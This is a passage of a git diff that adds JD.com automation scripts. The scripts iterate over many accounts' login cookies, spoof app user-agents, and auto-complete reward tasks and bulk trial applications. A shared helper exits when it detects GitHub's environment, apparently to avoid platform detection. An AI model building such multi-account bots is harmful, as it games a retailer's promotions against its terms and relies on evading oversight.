t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } \ No newline at end of file diff --git a/jd_tanwei.js b/jd_tanwei.js new file mode 100644 index 0000000..8155b17 --- /dev/null +++ b/jd_tanwei.js @@ -0,0 +1,254 @@ + +/* +探味奇遇记 +活动入口:美食馆-右侧悬浮 +活动时间:5月17-6月16 +宝箱陆续开放 +来自:6dylan6/jdpro +31 0,13 26-31,1-16 5,6 * jd_tanwei.js + */ + +const $ = new Env('探味奇遇记'); +const notify = $.isNode() ? require('./sendNotify') : ''; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +let jdNotify = true; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message = ''; +let encryptProjectId = '3NhNqgKD5WYkmLLsudX1Z2vVS5pP'; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +const JD_API_HOST = 'https://api.m.jd.com/client.action'; +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await twqyj(); + await $.wait(1000) + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + + +async function twqyj() { + try { + let tk = await queryInteractiveInfo(); + for (let key of Object.keys(tk.assignmentList).reverse()){ + let vo = tk.assignmentList[key] + if (vo.completionFlag || vo.assignmentType == 30) { + console.log('此任务已完成') + } else if (new Date(vo.assignmentStartTime).getTime() > Date.now()) { + console.log('此任务还没到开放时间:',vo.assignmentStartTime) + } else { + if (vo.ext && vo.ext.extraType == 'sign1'){ + await sign(encryptProjectId,vo.encryptAssignmentId) + } else { + await dotask(encryptProjectId,vo.encryptAssignmentId) + } + } + await $.wait(1000) + } + } catch (e) { + $.logErr(e) + } + +} + +async function queryInteractiveInfo() { + return new Promise(async (resolve) => { + $.post(taskUrl("queryInteractiveInfo", {"encryptProjectId":encryptProjectId,"sourceCode":"acemsg0406"}), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`queryInteractiveInfo API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data) + } + }) + }) +} + +async function sign(encryptProjectId, AssignmentId) { + return new Promise(async (resolve) => { + $.post(taskUrl("doInteractiveAssignment", { "encryptProjectId": encryptProjectId, "encryptAssignmentId": AssignmentId, "sourceCode": "acemsg0406", "itemId": "1", "completionFlag": "true" }), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`doInteractiveAssignment API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data) + if (data.subCode == 0) { + if (data.rewardsInfo.successRewards['3'] && data.rewardsInfo.successRewards['3'].length != 0) { + console.log(`${data.rewardsInfo.successRewards['3'][0].rewardName},获得${data.rewardsInfo.successRewards['3'][0].quantity}京豆`); + } else if (data.rewardsInfo.failRewards.length != 0) { + console.log(`失败:${data.rewardsInfo.failRewards[0].msg}`); + } + } else { + console.log(data.msg); + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data) + } + }) + }) +} + +async function dotask(encryptProjectId, AssignmentId) { + return new Promise(async (resolve) => { + $.post(taskUrl("doInteractiveAssignment", { "encryptProjectId": encryptProjectId, "encryptAssignmentId": AssignmentId, "sourceCode": "acemsg0406", "completionFlag": true }), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`doInteractiveAssignment API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data) + if (data.subCode == '0' && data.rewardsInfo.hasOwnProperty('successRewards') ) { + if (data.rewardsInfo.successRewards['3'] && data.rewardsInfo.successRewards['3'].length != 0) { + console.log(`${data.rewardsInfo.successRewards['3'][0].rewardName},获得${data.rewardsInfo.successRewards['3'][0].quantity}京豆`); +// } else if (data.rewardsInfo.failRewards.length != 0) { +// console.log(`失败:${data.rewardsInfo.failRewards[0].msg}`); + } + } else { + console.log(data.msg); + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data) + } + }) + }) +} + +function taskUrl(functionId, body = {}) { + return { + url: `${JD_API_HOST}?functionId=${functionId}&body=${encodeURI(JSON.stringify(body))}&appid=publicUseApi&client=wh5&clientVersion=1.0.0&networkType=&t=${(new Date).getTime()}`, + headers: { + 'Host': 'api.m.jd.com', + 'Content-Type': 'application/x-www-form-urlencoded', + 'Origin': 'https://h5.m.jd.com', + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Referer': 'https://h5.m.jd.com/babelDiy/Zeus/4HEXbcWBwHW2yxmoY9LnBoCZ9kcB/index.html', + 'Cookie': cookie + } + } +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + url: "https://wq.jd.com/user_new/info/GetJDUserInfoUnion?sceneval=2", + headers: { + Host: "wq.jd.com", + Accept: "*/*", + Connection: "keep-alive", + Cookie: cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Accept-Language": "zh-cn", + "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", + "Accept-Encoding": "gzip, deflate, br" + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + $.logErr(err) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 1001) { + $.isLogin = false; + return; + } + if (data['retcode'] === 0 && data.data && data.data.hasOwnProperty("userInfo")) { + $.nickName = data.data.userInfo.baseInfo.nickname; + } + } else { + console.log('京东服务器返回空数据'); + } + } + } catch (e) { + $.logErr(e) + } finally { + resolve(); + } + }) + }) +} +function showMsg() { + return new Promise(resolve => { + if (!jdNotify) { + $.msg($.name, '', `${message}`); + } else { + $.log(`京东账号${$.index}${$.nickName}\n${message}`); + } + resolve() + }) +} +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } \ No newline at end of file diff --git a/jd_try.js b/jd_try.js new file mode 100644 index 0000000..414fc22 --- /dev/null +++ b/jd_try.js @@ -0,0 +1,1288 @@ +/* + * 2022-05-27 修复优化版 By https://github.com/6dylan6/jdpro/ + * 如需运行请自行添加环境变量:JD_TRY,值填 true 即可运行 + * X1a0He by 6dylan6/jdpro/ + * 脚本是否耗时只看args_xh.maxLength的大小 + * 上一作者说了每天最多300个商店,总上限为500个,jd_unsubscribe.js我已更新为批量取关版 + * 请提前取关至少250个商店确保京东试用脚本正常运行 + * @Address: https://github.com/X1a0He/jd_scripts_fixed/blob/main/jd_try_xh.js + +如需运行请自行添加环境变量:JD_TRY="true" 即可运行 +脚本是否耗时只看args_xh.maxLength的大小(申请数量),默认50个,申请100个差不多15分钟 +上一作者说每天申请上限300个(自测,没有申请过上限),关注店铺上限500个 +关注店铺满了就无法继续申请,可用批量取关店铺取消关注 + +部分环境变量说明,详细请参考57行往下: +export JD_TRY="true"是否允许,默认false +export JD_TRY_PASSZC="false" #不过滤种草官类试用,默认true过滤 +export JD_TRY_MAXLENGTH="50" #商品数组的最大长度,默认50个 +export JD_TRY_PRICE="XX"#商品原价格,大于XX才申请,默认20 +export JD_TRY_APPLYINTERVAL="6000" #商品试用之间和获取商品之间的间隔ms +export JD_TRY_APPLYNUMFILTER="10000" #过滤大于设定值的已申请人数 +export JD_TRY_MINSUPPLYNUM="1" #最小提供数量 +export JD_TRY_SENDNUM="10" #每隔多少账号发送一次通知,默认为4 +export JD_TRY_UNIFIED="false" 默认采用不同试用组 + +定时自定义,能用多久随缘了!!! + */ +const $ = new Env('京东试用') +const URL = 'https://api.m.jd.com/client.action' +let trialActivityIdList = [] +let trialActivityTitleList = [] +let notifyMsg = '' +let size = 1; +$.isPush = true; +$.isLimit = false; +$.isForbidden = false; +$.wrong = false; +$.giveupNum = 0; +$.successNum = 0; +$.completeNum = 0; +$.getNum = 0; +$.try = true; +$.sentNum = 0; +$.cookiesArr = [] +$.innerKeyWords = + [ + "幼儿园", "教程", "英语", "辅导", "培训", + "孩子", "小学", "成人用品", "套套", "情趣", + "自慰", "阳具", "飞机杯", "男士用品", "女士用品", + "内衣", "高潮", "避孕", "乳腺", "肛塞", "肛门", + "宝宝", "玩具", "芭比", "娃娃", "男用", + "女用", "神油", "足力健", "老年", "老人", + "宠物", "饲料", "丝袜", "黑丝", "磨脚", + "脚皮", "除臭", "性感", "内裤", "跳蛋", + "安全套", "龟头", "阴道", "阴部", "手机卡", "电话卡", "流量卡", + "玉坠","和田玉","习题","试卷","手机壳","钢化膜" + ] +//下面很重要,遇到问题请把下面注释看一遍再来问 +let args_xh = { + /* + * 控制是否输出当前环境变量设置,默认为false + * 环境变量名称:XH_TRY_ENV + */ + env: process.env.XH_TRY_ENV === 'true' || false, + /* + * 跳过某个指定账号,默认为全部账号清空 + * 填写规则:例如当前Cookie1为pt_key=key; pt_pin=pin1;则环境变量填写pin1即可,此时pin1的购物车将不会被清空 + * 若有更多,则按照pin1@pin2@pin3进行填写 + * 环境变量名称:XH_TRY_EXCEPT + */ + except: process.env.XH_TRY_EXCEPT && process.env.XH_TRY_EXCEPT.split('@') || [], + //以上环境变量新增于2022.01.30 + /* + * 每个Tab页要便遍历的申请页数,由于京东试用又改了,获取不到每一个Tab页的总页数了(显示null),所以特定增加一个环境变了以控制申请页数 + * 例如设置 JD_TRY_PRICE 为 30,假如现在正在遍历tab1,那tab1就会被遍历到30页,到31页就会跳到tab2,或下一个预设的tab页继续遍历到30页 + * 默认为20 + */ + totalPages: process.env.JD_TRY_TOTALPAGES * 1 || 20, + /* + * 由于每个账号每次获取的试用产品都不一样,所以为了保证每个账号都能试用到不同的商品,之前的脚本都不支持采用统一试用组的 + * 以下环境变量是用于指定是否采用统一试用组的 + * 例如当 JD_TRY_UNIFIED 为 true时,有3个账号,第一个账号跑脚本的时候,试用组是空的 + * 而当第一个账号跑完试用组后,第二个,第三个账号所采用的试用组默认采用的第一个账号的试用组 + * 优点:减少除第一个账号外的所有账号遍历,以减少每个账号的遍历时间 + * 缺点:A账号能申请的东西,B账号不一定有 + * 提示:想每个账号独立不同的试用产品的,请设置为false,想减少脚本运行时间的,请设置为true + * 默认为false + */ + unified: process.env.JD_TRY_UNIFIED === 'true' || false, + //以上环境变量新增于2022.01.25 + /* + * 商品原价,低于这个价格都不会试用,意思是 + * A商品原价49元,试用价1元,如果下面设置为50,那么A商品不会被加入到待提交的试用组 + * B商品原价99元,试用价0元,如果下面设置为50,那么B商品将会被加入到待提交的试用组 + * C商品原价99元,试用价1元,如果下面设置为50,那么C商品将会被加入到待提交的试用组 + * 默认为0 + * */ + jdPrice: process.env.JD_TRY_PRICE * 1 || 20, + /* + * 获取试用商品类型,默认为1 + * 下面有一个function是可以获取所有tabId的,名为try_tabList + * 可设置环境变量:JD_TRY_TABID,用@进行分隔 + * 默认为 1 到 10 + * */ + tabId: process.env.JD_TRY_TABID && process.env.JD_TRY_TABID.split('@').map(Number) || [200, 201, 202, 203, 204, 205, 206, 207, 208, 209, 210, 211, 212], + /* + * 试用商品标题过滤,黑名单,当标题存在关键词时,则不加入试用组 + * 当白名单和黑名单共存时,黑名单会自动失效,优先匹配白名单,匹配完白名单后不会再匹配黑名单,望周知 + * 例如A商品的名称为『旺仔牛奶48瓶特价』,设置了匹配白名单,白名单关键词为『牛奶』,但黑名单关键词存在『旺仔』 + * 这时,A商品还是会被添加到待提交试用组,白名单优先于黑名单 + * 已内置对应的 成人类 幼儿类 宠物 老年人类关键词,请勿重复添加 + * 可设置环境变量:JD_TRY_TITLEFILTERS,关键词与关键词之间用@分隔 + * */ + titleFilters: process.env.JD_TRY_TITLEFILTERS && process.env.JD_TRY_TITLEFILTERS.split('@') || [], + /* + * 试用价格(中了要花多少钱),高于这个价格都不会试用,小于等于才会试用,意思就是 + * A商品原价49元,现在试用价1元,如果下面设置为10,那A商品将会被添加到待提交试用组,因为1 < 10 + * B商品原价49元,现在试用价2元,如果下面设置为1,那B商品将不会被添加到待提交试用组,因为2 > 1 + * C商品原价49元,现在试用价1元,如果下面设置为1,那C商品也会被添加到带提交试用组,因为1 = 1 + * 可设置环境变量:JD_TRY_TRIALPRICE,默认为0 + * */ + trialPrice: process.env.JD_TRY_TRIALPRICE * 1 || 0, + /* + * 最小提供数量,例如试用商品只提供2份试用资格,当前设置为1,则会进行申请 + * 若只提供5分试用资格,当前设置为10,则不会申请 + * 可设置环境变量:JD_TRY_MINSUPPLYNUM + * */ + minSupplyNum: process.env.JD_TRY_MINSUPPLYNUM * 1 || 1, + /* + * 过滤大于设定值的已申请人数,例如下面设置的1000,A商品已经有1001人申请了,则A商品不会进行申请,会被跳过 + * 可设置环境变量:JD_TRY_APPLYNUMFILTER + * */ + applyNumFilter: process.env.JD_TRY_APPLYNUMFILTER * 1 || 100000, + /* + * 商品试用之间和获取商品之间的间隔, 单位:毫秒(1秒=1000毫秒) + * 可设置环境变量:JD_TRY_APPLYINTERVAL + * 默认为3000,也就是3秒 + * */ + applyInterval: process.env.JD_TRY_APPLYINTERVAL * 1 || 30000, + /* + * 商品数组的最大长度,通俗来说就是即将申请的商品队列长度 + * 例如设置为20,当第一次获取后获得12件,过滤后剩下5件,将会进行第二次获取,过滤后加上第一次剩余件数 + * 例如是18件,将会进行第三次获取,直到过滤完毕后为20件才会停止,不建议设置太大 + * 可设置环境变量:JD_TRY_MAXLENGTH + * */ + maxLength: process.env.JD_TRY_MAXLENGTH * 1 || 20, + /* + * 过滤种草官类试用,某些试用商品是专属官专属,考虑到部分账号不是种草官账号 + * 例如A商品是种草官专属试用商品,下面设置为true,而你又不是种草官账号,那A商品将不会被添加到待提交试用组 + * 例如B商品是种草官专属试用商品,下面设置为false,而你是种草官账号,那A商品将会被添加到待提交试用组 + * 例如B商品是种草官专属试用商品,下面设置为true,即使你是种草官账号,A商品也不会被添加到待提交试用组 + * 可设置环境变量:JD_TRY_PASSZC,默认为true + * */ + passZhongCao: process.env.JD_TRY_PASSZC === 'false' || true, + /* + * 是否打印输出到日志,考虑到如果试用组长度过大,例如100以上,如果每个商品检测都打印一遍,日志长度会非常长 + * 打印的优点:清晰知道每个商品为什么会被过滤,哪个商品被添加到了待提交试用组 + * 打印的缺点:会使日志变得很长 + * + * 不打印的优点:简短日志长度 + * 不打印的缺点:无法清晰知道每个商品为什么会被过滤,哪个商品被添加到了待提交试用组 + * 可设置环境变量:JD_TRY_PLOG,默认为true + * */ + printLog: process.env.JD_TRY_PLOG === 'false' || true, + /* + * 白名单,是否打开,如果下面为true,那么黑名单会自动失效 + * 白名单和黑名单无法共存,白名单永远优先于黑名单 + * 可通过环境变量控制:JD_TRY_WHITELIST,默认为false + * */ + whiteList: process.env.JD_TRY_WHITELIST === 'true' || false, + /* + * 白名单关键词,当标题存在关键词时,加入到试用组 + * 